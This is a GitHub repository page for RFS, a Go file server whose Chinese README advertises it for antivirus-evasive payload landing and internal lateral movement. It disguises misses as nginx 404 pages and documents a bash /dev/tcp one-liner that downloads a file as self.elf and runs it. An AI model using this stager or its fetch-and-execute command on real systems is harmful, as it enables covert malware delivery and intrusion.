Skip to content
/ RFS Public

`Raw Files Server`(简称 RFS)是一个支持 HTTP/自定义TCP 协议双栈的文件分发服务端,适用于内网文件分发、免杀落地等场景。

Notifications You must be signed in to change notification settings

Nurdich/RFS

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 

Repository files navigation

Raw Files Server (RFS)

Raw Files Server(简称 RFS)是一个支持 HTTP/自定义TCP 协议双栈的文件分发服务端,适用于内网文件分发、免杀落地等场景。

  • 支持 HTTP 下载(浏览器、curl、wget、Postman等均可)
  • 支持原始TCP自定义协议(如 echo RAWxxxx >&3; cat <&3),适用于容器等无curl/wget环境下的文件拉取
  • 文件hash映射支持自动生成或白名单模式
  • 兼容 nginx 404 页面风格

编译

go build -o RFS RFS.go

启动参数

go run RFS.go file <监听地址> <文件目录> <自动hash映射开关>
#
./RFS file <监听地址> <文件目录> <自动hash映射开关>
  • <监听地址> 例如 :80800.0.0.0:443,默认 0.0.0.0:443
  • <文件目录> 例如 ./files,默认 ./files
  • <自动hash映射开关> 1=自动hash映射并自动生成filemaps.json,0=只用filemaps.json白名单,默认0

示例:

./RFS file :8080 ./files 1   # 自动hash映射,hash随机32位,自动生成filemaps.json
./RFS file :8080 ./files 0   # 只用filemaps.json白名单

filemaps.json 说明

  • 位置:程序根目录
  • 格式:{"hash1":"filename1", "hash2":"filename2"}
  • 自动hash映射模式下,每次启动会自动生成新的随机hash并覆盖filemaps.json
  • 白名单模式下,需手动编辑filemaps.json,只有配置的hash可访问

HTTP 协议用法

  • 访问 http://<host>:<port>/<hash> 即可下载对应文件,下载文件名为hash
  • 未命中hash或文件不存在,返回标准nginx 404页面

示例:

curl http://127.0.0.1:8080/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

TCP 自定义协议用法

  • 直接用TCP连接,发送 RAW<hash>\n,服务端返回对应文件内容
  • 适用于容器、极简Linux等无curl/wget环境,只需bash自带的/dev/tcp即可拉取文件
  • 适合免杀落地、内网横向等场景

示例:

exec 3<>/dev/tcp/127.0.0.1/8080; echo RAWxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx >&3; cat <&3 > self.elf && ./self.elf

安全建议

  • 生产环境建议用白名单模式(自动hash映射开关=0),只允许明确授权的hash→文件名
  • 自动hash映射模式下,目录下所有文件都会被暴露,hash为随机32位
  • filemaps.json请妥善保存,避免泄漏hash
  • 建议服务端运行权限受限,避免目录下有敏感文件

其它说明

  • 支持多并发连接
  • 兼容curl、wget、浏览器、原始TCP等多种客户端
  • 404页面风格与nginx一致

如有问题或定制需求请联系作者。

About

`Raw Files Server`(简称 RFS)是一个支持 HTTP/自定义TCP 协议双栈的文件分发服务端,适用于内网文件分发、免杀落地等场景。

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages